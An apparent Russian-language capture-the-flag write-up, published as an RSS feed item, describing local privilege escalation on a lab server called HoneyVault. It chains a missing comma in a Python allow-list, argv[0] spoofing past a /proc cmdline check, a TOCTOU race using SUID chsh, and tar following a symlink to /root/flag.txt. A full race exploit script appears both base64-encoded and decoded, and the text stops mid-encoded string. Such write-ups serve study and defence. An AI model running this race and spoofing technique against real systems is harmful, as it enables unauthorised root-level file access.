<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>file</title><generator>teletype.in</generator><description><![CDATA[file]]></description><image><url>https://img3.teletype.in/files/65/0a/650a20c3-16d9-418a-9901-6bb5c2d81679.png</url><title>file</title><link>https://teletype.in/@filepom</link></image><link>https://teletype.in/@filepom?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=filepom</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/filepom?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/filepom?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Sun, 13 Sep 2026 18:10:15 GMT</pubDate><lastBuildDate>Sun, 13 Sep 2026 18:10:15 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@filepom/HoneyVault</guid><link>https://teletype.in/@filepom/HoneyVault?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=filepom</link><comments>https://teletype.in/@filepom/HoneyVault?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=filepom#comments</comments><dc:creator>filepom</dc:creator><title>Writeup - HoneyVault</title><pubDate>Mon, 27 Jul 2026 14:55:33 GMT</pubDate><description><![CDATA[Цель задания:
После получения доступа к серверу хранения HoneyVault под пользователем operator требовалось найти уязвимость в системе администрирования AegisHive Processor и получить содержимое файла:]]></description><content:encoded><![CDATA[
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="6BZn">Цель задания:<br />После получения доступа к серверу хранения HoneyVault под пользователем <code>operator</code> требовалось найти уязвимость в системе администрирования <strong>AegisHive Processor</strong> и получить содержимое файла:</p>
    <pre id="ZAuj">/root/flag.txt</pre>
  </section>
  <p id="MCUg">В результате анализа была обнаружена цепочка из нескольких уязвимостей:<br />ошибка в списке разрешённых каталогов;<br />небезопасная проверка доверенного процесса через <code>/proc/&lt;pid&gt;/cmdline</code>;<br />TOCTOU-гонка между получением PID и проверкой параметров процесса;<br />использование SUID-программы для временного получения <code>effective UID = 0</code>;<br />разыменование символических ссылок командой <code>tar -h</code>.</p>
  <h2 id="1taN" data-align="center"><br />Подключение к серверу хранения</h2>
  <p id="5luP"><br />Подключение выполнялось с узла <code>hv-analyst-01</code>:</p>
  <pre id="KbZ7" data-lang="bash">ssh operator@10.0.3.66</pre>
  <p id="fZy7">После ввода пароля был получен доступ к серверу:</p>
  <pre id="qigQ" data-lang="bash">Linux hv-storage-01 ...
HoneyVault Internal Storage — hv-storage-01</pre>
  <p id="29jx">Проверка текущего пользователя:</p>
  <pre id="timI" data-lang="bash">id</pre>
  <p id="kQtX">Ожидаемый результат:</p>
  <pre id="1uc0">uid=1000(operator) gid=1000(operator) groups=1000(operator)</pre>
  <p id="2C3G"></p>
  <h2 id="kqJm" data-align="center">Первичная разведка</h2>
  <p id="srVa"><br />Было изучено содержимое каталога <code>/data</code>:</p>
  <pre id="fzlq" data-lang="bash">cd /data
ls -la</pre>
  <p id="LgoQ">На сервере присутствовали каталоги:</p>
  <pre id="HhIl">admin
adminsecurity
backup
database
important
logs
prod
security</pre>
  <p id="9xTz">Каталог <code>/data/adminsecurity</code> был доступен пользователю <code>operator</code>.<br />Проверка:</p>
  <pre id="UNzj">ls -la /data/adminsecurity</pre>
  <p id="XQvZ"></p>
  <h2 id="R9Eh" data-align="center">Анализ запущенных процессов<br /></h2>
  <p id="xIL3">Для определения привилегированных сервисов был просмотрен список процессов:</p>
  <pre id="D740" data-lang="bash">ps -ef --forest</pre>
  <p id="YCjj">Результат показал, что от имени <code>root</code> работает Python-процесс:</p>
  <pre id="ZVC1">root  9  8  python3 /opt/aegishive/processor.py</pre>
  <p id="8lOY">Также были запущены:</p>
  <pre id="jUD9" data-lang="bash">/usr/sbin/smbd
/usr/sbin/sshd</pre>
  <p id="tjNN">Это указывало на то, что основной интерес представляет файл:</p>
  <pre id="irxV">/opt/aegishive/processor.py</pre>
  <p id="bVtd"></p>
  <h2 id="m2qF" data-align="center">Анализ точки запуска<br /></h2>
  <p id="3LtS">Был изучен файл <code>/entrypoint.sh</code>:</p>
  <pre id="pg15" data-lang="bash">cat /entrypoint.sh</pre>
  <p id="M49I">Содержимое:</p>
  <pre id="iH3I" data-lang="bash">#!/bin/sh
set -e

python3 /opt/aegishive/processor.py &amp;
/usr/sbin/sshd
exec /usr/sbin/smbd --foreground --no-process-group</pre>
  <p id="4GoU">Таким образом, <code>processor.py</code> запускается непосредственно из root-процесса контейнера и наследует права <code>root</code>.</p>
  <h2 id="e08b" data-align="center"><br />Поиск связанных компонентов</h2>
  <p id="qQpT"><br />Для поиска административного клиента, резервного копирования и планировщиков использовалась команда:</p>
  <pre id="mYFn" data-lang="bash">grep -RniE &#x27;managectl|adminsecurity|backup|scheduler&#x27; \
  /entrypoint.sh /etc/cron* /etc/systemd /opt /usr/local \
  2&gt;/dev/null</pre>
  <p id="v8D7">Среди результатов были обнаружены строки:</p>
  <pre id="40yY">/opt/aegishive/processor.py:13:SOCKET_PATH = &quot;/var/run/managectl.sock&quot;
/opt/aegishive/processor.py:22:    &quot;backup&quot;,
/opt/aegishive/processor.py:26:TRUSTED_CMDLINE_REGEX = r&quot;^(/usr/local/sbin/managectl|managectl) &quot;
/opt/aegishive/processor.py:79:def run_backup(directory):
/opt/aegishive/processor.py:147:    if command == &quot;backup&quot;:</pre>
  <p id="TWic">Это показало, что сервис принимает административные команды через Unix-сокет:</p>
  <pre id="d0mS">/var/run/managectl.sock</pre>
  <h2 id="2agv" data-align="center"></h2>
  <h2 id="edE7" data-align="center">Анализ исходного кода AegisHive Processor</h2>
  <p id="U9IG"><br />Исходный код был прочитан командой:</p>
  <pre id="rVVi" data-lang="bash">sed -n &#x27;1,240p&#x27; /opt/aegishive/processor.py</pre>
  <p id="88VZ">Ключевые части кода:</p>
  <pre id="dH0X" data-lang="python">SOCKET_PATH = &quot;/var/run/managectl.sock&quot;
DATA_ROOT = Path(&quot;/data&quot;)</pre>
  <p id="EgL0">Список разрешённых каталогов:</p>
  <pre id="6Kjs" data-lang="python">ALLOWED_DIRECTORIES = [
    &quot;prod&quot;,
    &quot;admin&quot;
    &quot;security&quot;,
    &quot;database&quot;,
    &quot;important&quot;,
    &quot;backup&quot;,
    &quot;logs&quot;
]</pre>
  <p id="CwYr">Проверка доверенного процесса:</p>
  <pre id="LSix" data-lang="python">TRUSTED_CMDLINE_REGEX = r&quot;^(/usr/local/sbin/managectl|managectl) &quot;</pre>
  <p id="e9SC">Получение PID клиента:</p>
  <pre id="FZ9Y" data-lang="python">def get_peer_pid(sock):
    ucred_size = struct.calcsize(&quot;3I&quot;)
    creds = sock.getsockopt(
        socket.SOL_SOCKET,
        socket.SO_PEERCRED,
        ucred_size
    )
    pid = struct.unpack(&quot;I&quot;, creds[:4])[0]
    return pid</pre>
  <p id="MpBj">Чтение командной строки процесса:</p>
  <pre id="SFJJ" data-lang="python">def get_process_cmdline(pid):
    with open(f&quot;/proc/{pid}/cmdline&quot;, &quot;rb&quot;) as f:
        return (
            f.read()
            .replace(b&quot;\0&quot;, b&quot; &quot;)
            .decode(errors=&quot;replace&quot;)
            .strip()
        )</pre>
  <p id="KYyK">Чтение UID процесса:</p>
  <pre id="nVxJ" data-lang="python">def get_process_uids(pid):
    with open(f&quot;/proc/{pid}/status&quot;, &quot;r&quot;) as f:
        for line in f:
            if match := re.match(
                r&quot;^Uid:\s+(\d+)\s+(\d+)&quot;,
                line
            ):
                ruid = int(match.group(1))
                euid = int(match.group(2))
                return ruid, euid</pre>
  <p id="GGbr">Проверка прав:</p>
  <pre id="dtaY" data-lang="python">def check_permissions(pid):
    cmdline = get_process_cmdline(pid)

    if not re.match(TRUSTED_CMDLINE_REGEX, cmdline):
        return False, &quot;untrusted process name&quot;

    ruid, euid = get_process_uids(pid)

    ...

    if rusername != &quot;root&quot; and eusername != &quot;root&quot;:
        return False, f&quot;uid {euid} ({eusername}) denied&quot;

    return True, &quot;ok&quot;</pre>
  <p id="U88o">Резервное копирование:</p>
  <pre id="Xy2n" data-lang="python">result = subprocess.run(
    [
        &quot;tar&quot;,
        &quot;-chf&quot;,
        str(archive),
        &quot;-C&quot;,
        str(DATA_ROOT),
        directory
    ],
    capture_output=True,
    text=True,
)</pre>
  <h2 id="yimH" data-align="center"></h2>
  <h2 id="XRjp" data-align="center">Первая уязвимость: неявная конкатенация строк<br /></h2>
  <p id="EOxz">В списке разрешённых каталогов отсутствует запятая между строками:</p>
  <pre id="W7a3" data-lang="python">&quot;admin&quot;
&quot;security&quot;,</pre>
  <p id="2L5M">В Python соседние строковые литералы автоматически объединяются:</p>
  <pre id="afXs" data-lang="python">&quot;admin&quot; &quot;security&quot;</pre>
  <p id="pMgf">превращается в:</p>
  <pre id="rf3B" data-lang="python">&quot;adminsecurity&quot;</pre>
  <p id="P3Za">Фактический список разрешённых каталогов содержит:</p>
  <pre id="edrA">prod
adminsecurity
database
important
backup
logs</pre>
  <p id="6fL9">Следовательно, каталог:</p>
  <pre id="ZZtF">/data/adminsecurity</pre>
  <p id="wf2i">разрешён для резервного копирования.</p>
  <h2 id="x9rk" data-align="center"><br />Вторая уязвимость: разыменование символических ссылок<br /></h2>
  <p id="YW7q">Для создания архива используется команда:</p>
  <pre id="f9jw" data-lang="bash">tar -chf</pre>
  <p id="eAXX">Параметр:</p>
  <pre id="StM1">-h</pre>
  <p id="cpw5">означает:</p>
  <pre id="agPy">follow symbolic links</pre>
  <p id="SJGk">То есть <code>tar</code> помещает в архив не саму символическую ссылку, а содержимое файла, на который она указывает.<br />Пользователь <code>operator</code> мог создавать файлы внутри <code>/data/adminsecurity</code>.<br />Поэтому была создана ссылка:</p>
  <pre id="QkAL" data-lang="bash">mkdir -p /data/adminsecurity
ln -sf /root/flag.txt /data/adminsecurity/root-flag.txt</pre>
  <p id="2oE9">Проверка:</p>
  <pre id="0se7" data-lang="bash">ls -la /data/adminsecurity</pre>
  <p id="423h">Результат:</p>
  <pre id="NfzH">lrwxrwxrwx 1 operator operator 14 Jul 19 13:10 root-flag.txt -&gt; /root/flag.txt</pre>
  <p id="JUkx">Если root-сервис выполнит резервное копирование этого каталога, <code>tar -h</code> прочитает <code>/root/flag.txt</code> с правами root и поместит его содержимое в архив.</p>
  <p id="UPts"></p>
  <h2 id="EQqd" data-align="center">Проверка прямого обращения к сокету</h2>
  <p id="PaV7"><br />Была предпринята попытка отправить команду напрямую через Python:</p>
  <pre id="OqNm" data-lang="python">python3 - &lt;&lt;&#x27;PY&#x27;
import socket

path = &quot;/var/run/managectl.sock&quot;

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect(path)
s.sendall(b&quot;help\n&quot;)
s.shutdown(socket.SHUT_WR)

while True:
    data = s.recv(4096)
    if not data:
        break
    print(data.decode(errors=&quot;replace&quot;), end=&quot;&quot;)
PY</pre>
  <p id="rbtJ">Ответ:</p>
  <pre id="VohD">{&quot;ok&quot;: false, &quot;error&quot;: &quot;untrusted process name&quot;}</pre>
  <p id="5kvr">Причина заключалась в том, что командная строка клиента начиналась с <code>python3</code>, а сервис разрешал только процессы, начинающиеся с:</p>
  <pre id="E48Q">/usr/local/sbin/managectl</pre>
  <p id="mH6V">или:</p>
  <pre id="R7T9">managectl</pre>
  <p id="Czdc"></p>
  <h2 id="MeRH" data-align="center">Анализ административного клиента<br /></h2>
  <p id="vUOF">Был найден клиент:</p>
  <pre id="ah8O" data-lang="bash">ls -la /usr/local/sbin/managectl</pre>
  <p id="sMqd">Результат:</p>
  <pre id="ZGPP">-rwxr-xr-x 1 root root 3328054 Jul 15 22:51 /usr/local/sbin/managectl</pre>
  <p id="WPNQ">Попытка запуска:</p>
  <pre id="nnAA" data-lang="bash">/usr/local/sbin/managectl backup adminsecurity</pre>
  <p id="bfGO">Результат:</p>
  <pre id="1lpH">managectl: uid 1000 (operator) denied</pre>
  <p id="qbnz">Это означало, что проверка имени процесса была успешно пройдена, но клиент работал с UID пользователя <code>operator</code>.</p>
  <h2 id="mpEO" data-align="center"><br />Проверка SUID и capabilities<br /></h2>
  <p id="yhy2">Проверка capabilities:</p>
  <pre id="hvUJ" data-lang="bash">getcap /usr/local/sbin/managectl 2&gt;/dev/null</pre>
  <p id="rLYU">Результат отсутствовал.<br />Проверка атрибутов файла:</p>
  <pre id="jSpm" data-lang="bash">stat /usr/local/sbin/managectl</pre>
  <p id="i1jy">Результат:</p>
  <pre id="kcYh">Access: (0755/-rwxr-xr-x)
Uid: (0/root)
Gid: (0/root)</pre>
  <p id="Z0gs">Файл не имел SUID-бита.<br />Далее был выполнен поиск SUID-файлов:</p>
  <pre id="ffHJ" data-lang="bash">find / -perm -4000 -type f -ls 2&gt;/dev/null</pre>
  <p id="WqU2">Среди прочего были обнаружены:</p>
  <pre id="N8ij">/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount
/usr/bin/sudo</pre>
  <p id="to2T">Особый интерес представляли SUID-root программы:</p>
  <pre id="BtUs">/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/su</pre>
  <p id="xjDl"></p>
  <h2 id="tYvM" data-align="center">Третья уязвимость: доверие к <code>/proc/&lt;pid&gt;/cmdline</code></h2>
  <p id="3efl"><br />Сервис проверял не реальный исполняемый файл процесса, а только:</p>
  <pre id="Q7zX">/proc/&lt;pid&gt;/cmdline</pre>
  <p id="0c0p">Значение <code>argv[0]</code> может контролироваться вызывающим процессом.<br />Например, при использовании <code>execve()</code> можно запустить <code>/usr/bin/chsh</code>, но указать в <code>argv[0]</code> строку:</p>
  <pre id="amxO">managectl</pre>
  <p id="nvwk">В результате реальным исполняемым файлом будет:</p>
  <pre id="mRr7">/usr/bin/chsh</pre>
  <p id="ljl2">но <code>/proc/&lt;pid&gt;/cmdline</code> будет начинаться с:</p>
  <pre id="aR7P">managectl </pre>
  <p id="c1Vb">и удовлетворять регулярному выражению:</p>
  <pre id="iCst">r&quot;^(/usr/local/sbin/managectl|managectl) &quot;</pre>
  <p id="3Guo"></p>
  <h2 id="El8I" data-align="center">Четвёртая уязвимость: TOCTOU-гонка</h2>
  <p id="TA7m"><br />Сервис выполнял действия последовательно:</p>
  <pre id="9cYF">pid = get_peer_pid(conn)
allowed, msg = check_permissions(pid)</pre>
  <p id="BKEW">Внутри <code>check_permissions()</code> сначала читалась командная строка:</p>
  <pre id="4SJN">cmdline = get_process_cmdline(pid)</pre>
  <p id="0hV6">а затем UID:</p>
  <pre id="SEeo">ruid, euid = get_process_uids(pid)</pre>
  <p id="7jd2">Между подключением клиента, получением PID и чтением <code>/proc/&lt;pid&gt;</code> существовало окно гонки.<br />Клиент мог:</p>
  <ul id="cUgQ">
    <li id="fPNc">подключиться к сокету как обычный Python-процесс;</li>
    <li id="Ysp0">отправить команду <code>backup adminsecurity</code>;</li>
    <li id="XzRw">выполнить <code>execve()</code> SUID-root программы;</li>
    <li id="XfKo">заменить <code>argv[0]</code> на <code>managectl </code>;</li>
    <li id="Ezx4">временно получить <code>effective UID = 0</code>.</li>
  </ul>
  <h2 id="a78k" data-align="center"><br />Подтверждение поведения SUID-программы<br /></h2>
  <p id="2npk">Для подтверждения был запущен тест:</p>
  <pre id="WYgx" data-lang="python">python3 -c &#x27;
import os
os.execv(
    &quot;/usr/bin/chsh&quot;,
    [&quot;managectl &quot;, &quot;operator&quot;]
)
&#x27; &amp;

PID=$!

for i in $(seq 1 100); do
    [ -r &quot;/proc/$PID/status&quot; ] || break

    echo -n &quot;cmdline: &quot;
    tr &quot;\0&quot; &quot; &quot; &lt; &quot;/proc/$PID/cmdline&quot;
    echo

    grep &quot;^Uid:&quot; &quot;/proc/$PID/status&quot;
done</pre>
  <p id="Ua2j">В определённый момент был получен результат:</p>
  <pre id="Koor">cmdline: managectl  operator
Uid:    1000    0    0    0</pre>
  <p id="iUKr">Формат строки <code>Uid</code> в <code>/proc/&lt;pid&gt;/status</code>:</p>
  <pre id="GB0X">Real UID
Effective UID
Saved set UID
Filesystem UID</pre>
  <p id="1uuC">Следовательно:</p>
  <pre id="18gt">ruid = 1000
euid = 0</pre>
  <p id="umlS">Проверка AegisHive Processor считала такой процесс разрешённым, поскольку условие было:</p>
  <pre id="vHTa" data-lang="python">if rusername != &quot;root&quot; and eusername != &quot;root&quot;:
    deny</pre>
  <p id="G8ja">При <code>euid = 0</code> процесс принимался как root-процесс.<br />15. Подготовка эксплуатации<br />Сначала были остановлены оставшиеся тестовые процессы:</p>
  <pre id="sjRb" data-lang="bash">pkill -9 -u operator chsh 2&gt;/dev/null
pkill -9 -u operator chfn 2&gt;/dev/null
pkill -9 -u operator passwd 2&gt;/dev/null</pre>
  <p id="XRih">Затем был восстановлен каталог и символическая ссылка:</p>
  <pre id="0zv9" data-lang="bash">mkdir -p /data/adminsecurity
ln -sf /root/flag.txt /data/adminsecurity/root-flag.txt</pre>
  <p id="TpH4">Проверка:</p>
  <pre id="mioa" data-lang="bash">ls -la /data/adminsecurity</pre>
  <p id="Lett">Результат:</p>
  <pre id="lsiA">total 0
drwxr-xr-x 2 operator operator 35 Jul 19 13:10 .
drwxrwxrwt 1 root     root     35 Jul 19 13:10 ..
lrwxrwxrwx 1 operator operator 14 Jul 19 13:10 root-flag.txt -&gt; /root/flag.txt</pre>
  <p id="SD6f">Старые архивы были удалены:</p>
  <pre id="EtDJ" data-lang="bash">rm -f /data/backup/adminsecurity-*.tar</pre>
  <p id="2xce"></p>
  <h2 id="GvPw" data-align="center">Эксплуатационный скрипт<br /></h2>
  <p id="af20">Для надёжной эксплуатации использовался Python-скрипт с псевдотерминалом.<br />PTY позволял SUID-программе <code>chsh</code> дольше находиться в состоянии, в котором:</p>
  <pre id="wddW">cmdline начинается с managectl
euid равен 0</pre>
  <p id="Nf0U">Скрипт был создан через Base64, чтобы избежать повреждения форматирования при вставке в терминал:</p>
  <pre id="wdoR" data-lang="bash">echo &#x27;IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgZ2xvYgppbXBvcnQgb3MKaW1wb3J0IHB0eQppbXBvcnQgc2lnbmFsCmltcG9ydCBzb2NrZXQKaW1wb3J0IHRpbWUKClNPQ0sgPSAiL3Zhci9ydW4vbWFuYWdlY3RsLnNvY2siCkNNRCA9IGIiYmFja3VwIGFkbWluc2VjdXJpdHlcbiIKTElNSVQgPSAxMgpjaGlsZHJlbiA9IHt9CgpkZWYgcmVhcCgpOgogICAgZm9yIHBpZCwgZmQgaW4gbGlzdChjaGlsZHJlbi5pdGVtcygpKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGRvbmUsIF8gPSBvcy53YWl0cGlkKHBpZCwgb3MuV05PSEFORykKICAgICAgICBleGNlcHQgQ2hpbGRQcm9jZXNzRXJyb3I6CiAgICAgICAgICAgIGRvbmUgPSBwaWQKICAgICAgICBpZiBkb25lOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICAgICAgZXhjZXB0IE9TRXJyb3I6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGNoaWxkcmVuLnBvcChwaWQsIE5vbmUpCgpkZWYgc3Bhd24oKToKICAgIHBpZCwgZmQgPSBwdHkuZm9yaygpCiAgICBpZiBwaWQgPT0gMDoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9VTklYLCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgICAgIHMuY29ubmVjdChTT0NLKQogICAgICAgICAgICBzLnNlbmRhbGwoQ01EKQogICAgICAgICAgICBvcy5leGVjdigiL3Vzci9iaW4vY2hzaCIsIFsibWFuYWdlY3RsICIsICJvcGVyYXRvciJdKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgIG9zLl9leGl0KDEpCiAgICBjaGlsZHJlbltwaWRdID0gZmQKCmFyY2hpdmUgPSBOb25lCnRyeToKICAgIHdoaWxlIGFyY2hpdmUgaXMgTm9uZToKICAgICAgICByZWFwKCkKICAgICAgICB3aGlsZSBsZW4oY2hpbGRyZW4pIDwgTElNSVQ6CiAgICAgICAgICAgIHNwYXduKCkKICAgICAgICBmaWxlcyA9IGdsb2IuZ2xvYigiL2RhdGEvYmFja3VwL2FkbWluc2VjdXJpdHktKi50YXIiKQogICAgICAgIGlmIGZpbGVzOgogICAgICAgICAgICBhcmNoaXZlID0gbWF4KGZpbGVzLCBrZXk9b3MucGF0aC5nZXRtdGltZSkKICAgICAgICAgICAgYnJlYWsKICAgICAgICB0aW1lLnNsZWVwKDAuMDA1KQpmaW5hbGx5OgogICAgZm9yIHBpZCBpbiBsaXN0KGNoaWxkcmVuKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIG9zLmtpbGwocGlkLCBzaWduYWwuU0lHS0lMTCkKICAgICAgICBleGNlcHQgUHJvY2Vzc0xvb2t1cEVycm9yOgogICAgICAgICAgICBwYXNzCiAgICBmb3IgcGlkLCBmZCBpbiBsaXN0KGNoaWxkcmVuLml0ZW1zKCkpOgogICAgICAgIHRyeToKICAgICAgICAgICAgb3Mud2FpdHBpZChwaWQsIDApCiAgICAgICAgZXhjZXB0IENoaWxkUHJvY2Vzc0Vycm9yOgogICAgICAgICAgICBwYXNzCiAgICAgICAgdHJ5OgogICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICBleGNlcHQgT1NFcnJvcjoKICAgICAgICAgICAgcGFzcwoKcHJpbnQoYXJjaGl2ZSkK&#x27; | base64 -d &gt; /tmp/race.py</pre>
  <p id="rtGr">Проверка корректности Python-кода:</p>
  <pre id="Jx2s" data-lang="bash">python3 -m py_compile /tmp/race.py &amp;&amp; echo &#x27;[+] Script OK&#x27;</pre>
  <p id="xNB3">Результат:</p>
  <pre id="43Gw">[+] Script OK</pre>
  <p id="lM35"></p>
  <h2 id="54JI" data-align="center">Исходный код эксплуатационного скрипта</h2>
  <p id="ciQP"><br />Декодированный скрипт имел следующий вид:</p>
  <pre id="30mg" data-lang="python">#!/usr/bin/env python3
import glob
import os
import pty
import signal
import socket
import time

SOCK = &quot;/var/run/managectl.sock&quot;
CMD = b&quot;backup adminsecurity\n&quot;
LIMIT = 12

children = {}


def reap():
    for pid, fd in list(children.items()):
        try:
            done, _ = os.waitpid(pid, os.WNOHANG)
        except ChildProcessError:
            done = pid

        if done:
            try:
                os.close(fd)
            except OSError:
                pass

            children.pop(pid, None)


def spawn():
    pid, fd = pty.fork()

    if pid == 0:
        try:
            s = socket.socket(
                socket.AF_UNIX,
                socket.SOCK_STREAM
            )

            s.connect(SOCK)
            s.sendall(CMD)

            os.execv(
                &quot;/usr/bin/chsh&quot;,
                [&quot;managectl &quot;, &quot;operator&quot;]
            )

        except Exception:
            os._exit(1)

    children[pid] = fd


archive = None

try:
    while archive is None:
        reap()

        while len(children) &lt; LIMIT:
            spawn()

        files = glob.glob(
            &quot;/data/backup/adminsecurity-*.tar&quot;
        )

        if files:
            archive = max(
                files,
                key=os.path.getmtime
            )
            break

        time.sleep(0.005)

finally:
    for pid in list(children):
        try:
            os.kill(pid, signal.SIGKILL)
        except ProcessLookupError:
            pass

    for pid, fd in list(children.items()):
        try:
            os.waitpid(pid, 0)
        except ChildProcessError:
            pass

        try:
            os.close(fd)
        except OSError:
            pass

print(archive)</pre>
  <p id="5Id7"></p>
  <h2 id="0jgB" data-align="center">Принцип работы эксплуатационного скрипта</h2>
  <p id="PylM"></p>
  <p id="XLnC">Для каждой попытки выполнялись следующие действия.<br />Создание дочернего процесса с PTY:</p>
  <pre id="sT9t" data-lang="python">pid, fd = pty.fork()</pre>
  <p id="YF4f">Подключение к административному Unix-сокету:</p>
  <pre id="iN20" data-lang="python">s = socket.socket(
    socket.AF_UNIX,
    socket.SOCK_STREAM
)

s.connect(&quot;/var/run/managectl.sock&quot;)</pre>
  <p id="vBnh">Отправка команды:</p>
  <pre id="QtrI" data-lang="python">s.sendall(b&quot;backup adminsecurity\n&quot;)</pre>
  <p id="A8xM">После отправки команды процесс заменялся на SUID-root программу:</p>
  <pre id="8w0I" data-lang="python">os.execv(
    &quot;/usr/bin/chsh&quot;,
    [&quot;managectl &quot;, &quot;operator&quot;]
)</pre>
  <p id="uHmS">В этот момент:</p>
  <ul id="s6FA">
    <li id="9XbU">PID процесса не менялся;</li>
    <li id="8fA0">реальным исполняемым файлом становился <code>/usr/bin/chsh</code>;</li>
    <li id="L8nP"><code>argv[0]</code> становился <code>managectl </code>;</li>
    <li id="NnV5"><code>/proc/&lt;pid&gt;/cmdline</code> проходил регулярное выражение;</li>
    <li id="YEol"><code>chsh</code> временно имел <code>effective UID = 0</code>.</li>
  </ul>
  <p id="eTox">Root-сервис считывал данные процесса в удачный момент и разрешал выполнение команды:</p>
  <pre id="z6if">backup adminsecurity</pre>
  <p id="jdj1"></p>
  <h2 id="LJOm" data-align="center">Эксплуатация</h2>
  <p id="xDRt"><br />Скрипт был запущен:</p>
  <pre id="0MgM" data-lang="bash">python3 /tmp/race.py</pre>
  <p id="Zdlp">После успешной гонки был получен путь к архиву:</p>
  <pre id="ZoHT">/data/backup/adminsecurity-20260719131103.tar</pre>
  <p id="z1jp">Это означало, что root-процесс успешно выполнил:</p>
  <pre id="Df76">backup adminsecurity</pre>
  <p id="twII"></p>
  <h2 id="5hZ1" data-align="center">Проверка созданного архива</h2>
  <p id="dAxo"><br />Последний созданный архив был записан в переменную:</p>
  <pre id="Kpbs">A=&quot;$(ls -t /data/backup/adminsecurity-*.tar | head -n1)&quot;</pre>
  <p id="fU26">Путь был выведен:</p>
  <pre id="jNBg">echo &quot;[+] Archive: $A&quot;</pre>
  <p id="X9La">Результат:</p>
  <pre id="KlIX">[+] Archive: /data/backup/adminsecurity-20260719131103.tar</pre>
  <p id="yxuz">Содержимое архива:</p>
  <pre id="9awx">tar -tf &quot;$A&quot;</pre>
  <p id="RPuv">Результат:</p>
  <pre id="FOXM">adminsecurity/
adminsecurity/root-flag.txt</pre>
  <p id="V3mu">Это подтвердило, что символическая ссылка была разыменована, а файл <code>/root/flag.txt</code> попал в архив под именем:</p>
  <pre id="bNYH">adminsecurity/root-flag.txt</pre>
  <p id="MYk5" data-align="center"></p>
  <h2 id="wsw7" data-align="center">Получение флага</h2>
  <p id="188Z"><br />Файл был прочитан непосредственно из архива без распаковки на диск:</p>
  <pre id="pLOB">tar -xOf &quot;$A&quot; adminsecurity/root-flag.txt</pre>
  <p id="i2kp"></p>
  <h2 id="WgbV" data-align="center">Итоговая последовательность команд</h2>
  <p id="EJPx"><br />Минимальная последовательность после обнаружения уязвимости выглядела следующим образом.<br />Остановка старых процессов:</p>
  <pre id="iVzX" data-lang="bash">pkill -9 -u operator chsh 2&gt;/dev/null
pkill -9 -u operator chfn 2&gt;/dev/null
pkill -9 -u operator passwd 2&gt;/dev/null</pre>
  <p id="nmpg">Создание разрешённого каталога и симлинка:</p>
  <pre id="lOzn" data-lang="bash">mkdir -p /data/adminsecurity
ln -sf /root/flag.txt /data/adminsecurity/root-flag.txt</pre>
  <p id="D8Sn">Проверка:</p>
  <pre id="VoPl" data-lang="bash">ls -la /data/adminsecurity</pre>
  <p id="N48d">Удаление старых архивов:</p>
  <pre id="6Xxx" data-lang="bash">rm -f /data/backup/adminsecurity-*.tar</pre>
  <p id="Ynuc">Создание эксплуатационного скрипта:</p>
  <pre id="1qF5" data-lang="bash">echo &#x27;IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgZ2xvYgppbXBvcnQgb3MKaW1wb3J0IHB0eQppbXBvcnQgc2lnbmFsCmltcG9ydCBzb2NrZXQKaW1wb3J0IHRpbWUKClNPQ0sgPSAiL3Zhci9ydW4vbWFuYWdlY3RsLnNvY2siCkNNRCA9IGIiYmFja3VwIGFkbWluc2VjdXJpdHlcbiIKTElNSVQgPSAxMgpjaGlsZHJlbiA9IHt9CgpkZWYgcmVhcCgpOgogICAgZm9yIHBpZCwgZmQgaW4gbGlzdChjaGlsZHJlbi5pdGVtcygpKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGRvbmUsIF8gPSBvcy53YWl0cGlkKHBpZCwgb3MuV05PSEFORykKICAgICAgICBleGNlcHQgQ2hpbGRQcm9jZXNzRXJyb3I6CiAgICAgICAgICAgIGRvbmUgPSBwaWQKICAgICAgICBpZiBkb25lOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICAgICAgZXhjZXB0IE9TRXJyb3I6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGNoaWxkcmVuLnBvcChwaWQsIE5vbmUpCgpkZWYgc3Bhd24oKToKICAgIHBpZCwgZmQgPSBwdHkuZm9yaygpCiAgICBpZiBwaWQgPT0gMDoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9VTklYLCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgICAgIHMuY29ubmVjdChTT0NLKQogICAgICAgICAgICBzLnNlbmRhbGwoQ01EKQogICAgICAgICAgICBvcy5leGVjdigiL3Vzci9iaW4vY2hzaCIsIFsibWFuYWdlY3RsICIsICJvcGVyYXRvciJdKQogICAg